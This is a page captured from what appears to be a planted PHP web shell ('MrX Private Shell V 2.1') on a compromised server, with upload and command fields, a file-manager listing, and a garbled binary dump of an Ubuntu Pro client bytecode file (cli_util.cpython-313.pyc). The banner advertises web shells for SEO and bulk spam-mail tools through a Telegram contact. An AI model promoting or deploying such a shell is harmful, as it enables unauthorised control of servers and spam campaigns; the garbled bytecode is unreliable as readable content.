__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��gQ �
��SSKrSSKrSSKrSSKrSSKrSSKJr SSKJr SSK	J
r
JrJrJ
r
JrJrJrJrJrJr SSKJr SSKJr SSKJrJr SSKJr SS	KJr \R>"5r S
r!"SS\RD5r#S
r$S\%4Sjr&S"Sjr'Sr(Sr)S"Sjr*Sr+Sr,Sr-S\SS4Sjr.S\S\S\/S\\/SS4
Sjr0Sr1S#S\\/4S jjr2S!r3g)$�N��wraps)�Optional)
�actions�api�daemon�entitlements�event_logger�
exceptions�lock�messages�status�util)�CVE_OR_USN_REGEX)�_is_attached)�
AptProxyScope�setup_apt_proxy)�UAConfig)�
machine_tokenzc	�V�\rSrSrS\4SjrS\S\S\\S\\4Sjr	S	\4S
jr
Srg)
�CLIEnableDisableProgress�!�
assume_yesc�(�U(+UlXlg�N)�is_interactiver)�selfrs  �7/usr/lib/python3/dist-packages/uaclient/cli/cli_util.py�__init__�!CLIEnableDisableProgress.__init__"s��",�n���$���total_steps�
done_steps�previous_step_message�current_step_messagec�"�Ub[U5 ggr)�print)rr"r#r$r%s     r�progress�!CLIEnableDisableProgress.progress&s�� �+��&�'�,r!�eventc��US:Xa[U5 gUS:Xa;[R"X R5(d[R
"5egg)N�info�message_operation)r'r�handle_message_operationsrr�PromptDeniedError)rr*�payloads   r�	_on_event�"CLIEnableDisableProgress._on_event1sH���F�?��'�N�
�)�
)��1�1�'�?�?�K�K� �2�2�4�4�L�*r!)rrN)�__name__�
__module__�__qualname__�__firstlineno__�boolr�intr�strr(r1�__static_attributes__�r!rrr!sO��%�d�%�	(��	(��		(�
 (��}�	(�'�s�m�
	(�5�s�5r!rc��grr;)�args�kwargss  r�_null_printr?9s��r!�json_outputc�(�U(a[$[$r)r?r')r@s r�&create_interactive_only_print_functionrB=s������r!c�^�U4SjnU$)z1Decorator asserting exclusive access to lock filec�4>^�[T5UU4Sj5nU$)Nc�|>�[R"TSS9 T"USU0UD6nSSS5 U$!,(df   W$=f)N�)�lock_holder�
sleep_time�cfg)r�	RetryLock)rIr=r>�retval�frGs    ��r�new_f�0assert_lock_file.<locals>.wrapper.<locals>.new_fHs?������K�A�F��D�4�c�4�V�4��G��M�G�F��M�s�,�
;r)rLrMrGs` �r�wrapper�!assert_lock_file.<locals>.wrapperGs ���	�q��	�
�	�
�r!r;)rGrOs` r�assert_lock_filerQDs�����Nr!c�0^�[T5U4Sj5nU$)zDecorator asserting root userc�r>�[R"5(d[R"5eT"U0UD6$r)r�we_are_currently_rootr�NonRootUserError)r=r>rLs  �rrM�assert_root.<locals>.new_fVs1����)�)�+�+��-�-�/�/��d�%�f�%�%r!r�rLrMs` r�assert_rootrXSs"����1�X�&��&��Lr!c�0^�[T5U4Sj5nU$)z>Decorator to verify if correct params are used for json formatc�>�U(dT"U/UQ70UD6$URS:Xa&UR(d[R"5eT"U/UQ70UD6$)N�json)�formatrr�CLIJSONFormatRequireAssumeYes)�cmd_argsr=r>rLs   �rrM�&verify_json_format_args.<locals>.new_fcsS�����X�/��/��/�/��?�?�f�$�X�-@�-@��:�:�<�<��X�/��/��/�/r!rrWs` r�verify_json_format_argsr``s"����1�X�0��0��Lr!c�^�U4SjnU$)z�Decorator asserting attached config.
:param msg_function: Optional function to generate a custom message
if raising an UnattachedError
c�4>^�[T5UU4Sj5nU$)Nc��>�[U5R(d>T(a"[USS5n[USS5nT"X4US9 O[R"5eT"U4SU0UD6$)N�command��service)rd�
service_namesrIrI)r�is_attached�getattrr�UnattachedError)r=rIr>rdrgrL�raise_custom_error_functions     ��rrM�/assert_attached.<locals>.wrapper.<locals>.new_fwsc�����$�0�0�.�%�d�I�r�:�G�$+�D�)�R�$@�M�/� '�#��%�4�4�6�6��T�-�s�-�f�-�-r!r)rLrMrks` �rrO� assert_attached.<locals>.wrappervs ���	�q��
	.�
�
	.��r!r;)rkrOs` r�assert_attachedrnps���� �Nr!c�0^�[T5U4Sj5nU$)z&Decorator asserting unattached config.c��>�[U5R(aC[R"5n[R
"URRSS5S9eT"U4SU0UD6$)N�namere)�account_namerI)rrhr�get_machine_token_filer�AlreadyAttachedError�account�get)r=rIr>�machine_token_filerLs    �rrM�"assert_not_attached.<locals>.new_f�s`������(�(�!.�!E�!E�!G���1�1�/�7�7�;�;�F�B�G��
���)�3�)�&�)�)r!rrWs` r�assert_not_attachedry�s"����1�X�*��*��Lr!c�^�U4SjnU$)Nc�4>^�[T5UU4Sj5nU$)Nc�>�[USS5n[R"[U5(d[R
"UTS9eT"U4SU0UD6$)N�security_issuere)�issue�cmdrI)ri�re�matchrr�InvalidSecurityIssueIdFormat)r=rIr>r}rrLs    ��rrM�@assert_vulnerability_issue_valid.<locals>.wrapper.<locals>.new_f�sT���$�T�+;�R�@�N��8�8�,�n�=�=� �=�=�(����
�T�-�s�-�f�-�-r!r)rLrMrs` �rrO�1assert_vulnerability_issue_valid.<locals>.wrapper�s ���	�q��	.�
�	.��r!r;)rrOs` r� assert_vulnerability_issue_validr��s�����Nr!c�V�[R"XS9unnU(a<U(a5[R"SR	U5USR	U5SS9eU(a$[R
"SR	U5US9e[R"USR	U5SS9e)z�Raises a custom error for enable/disable commands when unattached.

Takes into consideration if the services exist or not, and notify the user
accordingly.)�namesrIz, re)�
valid_service�	operation�invalid_service�service_msg)r�r�)r�r�r�)r	�get_valid_entitlement_namesr�UnattachedMixedServicesError�join�UnattachedValidServicesError�UnattachedInvalidServicesError)rdrgrI�entitlements_found�entitlements_not_founds     r�&_raise_enable_disable_unattached_errorr��s���	�0�0�}�N�����4��5�5��)�)�$6�7�� �I�I�&<�=��	
�	
�
��5�5��)�)�$6�7�7�
�	
��7�7�� �I�I�&<�=��
�	
r!rI�returnc�*�[R"U5nURnU(a1[R	[
RRUS95 O#[R	[
R5 [R"5 [R"U5 [R"U5up4[R"U5n[R	[R "U55 [R#5 g)N)�
contract_name)rrsr�r*r,r
�ATTACH_SUCCESS_TMPLr\�ATTACH_SUCCESS_NO_CONTRACT_NAMEr�stop�cleanuprr�format_tabularr�handle_unicode_characters�process_events)rIrwr��status_dict�_ret�outputs      r�post_cli_attachr��s���&�=�=�c�B��&�4�4�M��
�
�
��(�(�/�/�m�/�L�	
�	�
�
�8�;�;�<�
�K�K�M�
�N�N�3�����s�+��K�
�
"�
"�;�
/�F�	�J�J�t�-�-�f�5�6�	���r!�scope�set_key�	set_valuec���U[R:XaURnURnO,U[R:XaUR
nURnSU;aUnOUn[WWUS9 g)zK
Handles setting part the apt proxies - global and uaclient scoped proxies
�https)�
http_proxy�https_proxy�proxy_scopeN)r�GLOBAL�global_apt_http_proxy�global_apt_https_proxy�UACLIENT�ua_apt_http_proxy�ua_apt_https_proxyr)rIr�r�r�r�r�s      r�configure_apt_proxyr��sm��
�
�$�$�$��.�.�
��0�0��	�-�(�(�	(��*�*�
��,�,���'�����
���;�E�r!c��[R"/SQ5nUR5(d�[RRSR
U[U5[55 [RR5 [R"S5 [RRS5 UR5(dM�gg)N)�|�/�-�\z
{}{}{}g�������?�)�	itertools�cycle�is_set�sys�stdout�writer\�next�CLEAR_LINE_ANSI_CODE�flush�time�sleep)�stop_spinner�msg�spinners   r�run_spinnerr��s����o�o�3�4�G��!�!�#�#��
�
������c�4��=�2F�G�	
�	�
�
�����
�
�3���
�
�����
�!�!�#�#r!r�c�^�U4SjnU$)Nc�4>^�[T5UU4Sj5nU$)Nc��>�[RR5(dT"U4SU0UD6$[R"5n[R
"[UT4S9nUR5 T"U4SU0UD6nUR5 UR5 [RRS[-5 [RR5 U$)NrI)�targetr=�
)
r�r��isatty�	threading�Event�Threadr��start�setr�r�r�r�)r=rIr>r��spinner_threadrKrLr�s      ��rrM�,with_spinner.<locals>.wrapper.<locals>.new_f�s�����:�:�$�$�&�&���1�3�1�&�1�1�$�?�?�,�L�&�-�-�"�,��)<��N�
� � �"��t�/��/��/�F��������!��J�J���T�$8�8�9��J�J�����Mr!r)rLrMr�s` �rrO�with_spinner.<locals>.wrapper�s ���	�q��	�
�	�*�r!r;)r�rOs` r�with_spinnerr��s����2�Nr!c��US:Xa8[RRU-[RR-$US:Xa8[RRU-[RR-$US:Xa8[RR
U-[RR-$US:Xa8[RRU-[RR-$U$)N�low�medium�high�critical)r
�TxtColor�INFOBLUE�ENDC�
WARNINGYELLOW�ORANGE�FAIL)�prioritys r�colorize_priorityr�s����5��� � �)�)�H�4�x�7H�7H�7M�7M�M�M�	�X�	����+�+�h�6��9J�9J�9O�9O�O�	
�
�V�	�� � �'�'�(�2�X�5F�5F�5K�5K�K�K�	�Z�	�� � �%�%��0�8�3D�3D�3I�3I�I�I��r!r)re)4r�r�r�r�r��	functoolsr�typingr�uaclientrrrr	r
rrr
rr�'uaclient.api.u.pro.security.fix._commonr�(uaclient.api.u.pro.status.is_attached.v1r�uaclient.aptrr�uaclient.configr�uaclient.filesr�get_event_loggerr*r��AbstractProgressrr?r7rBrQrXr`rnryr�r�r�r9r�r�r�r�r;r!r�<module>r�s����	�
��������E�A�7�$�(��%�%�'�� ��5�s�3�3�5�0	�����
�
� �2��$
�8���d��(�	��������}�	�

��0��h�s�m��:r!

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 13.24 KB 0644
api.cpython-313.pyc File 3.1 KB 0644
attach.cpython-313.pyc File 6.81 KB 0644
auto_attach.cpython-313.pyc File 1.59 KB 0644
cli_util.cpython-313.pyc File 13.24 KB 0644
collect_logs.cpython-313.pyc File 2.04 KB 0644
commands.cpython-313.pyc File 5.83 KB 0644
config.cpython-313.pyc File 12.27 KB 0644
cve.cpython-313.pyc File 7.8 KB 0644
cves.cpython-313.pyc File 4.75 KB 0644
detach.cpython-313.pyc File 4.43 KB 0644
disable.cpython-313.pyc File 10.9 KB 0644
enable.cpython-313.pyc File 16.79 KB 0644
fix.cpython-313.pyc File 36.75 KB 0644
formatter.cpython-313.pyc File 14.01 KB 0644
help.cpython-313.pyc File 2.07 KB 0644
parser.cpython-313.pyc File 4.9 KB 0644
refresh.cpython-313.pyc File 3.75 KB 0644
security_status.cpython-313.pyc File 2.79 KB 0644
status.cpython-313.pyc File 2.95 KB 0644
system.cpython-313.pyc File 1.56 KB 0644
Filemanager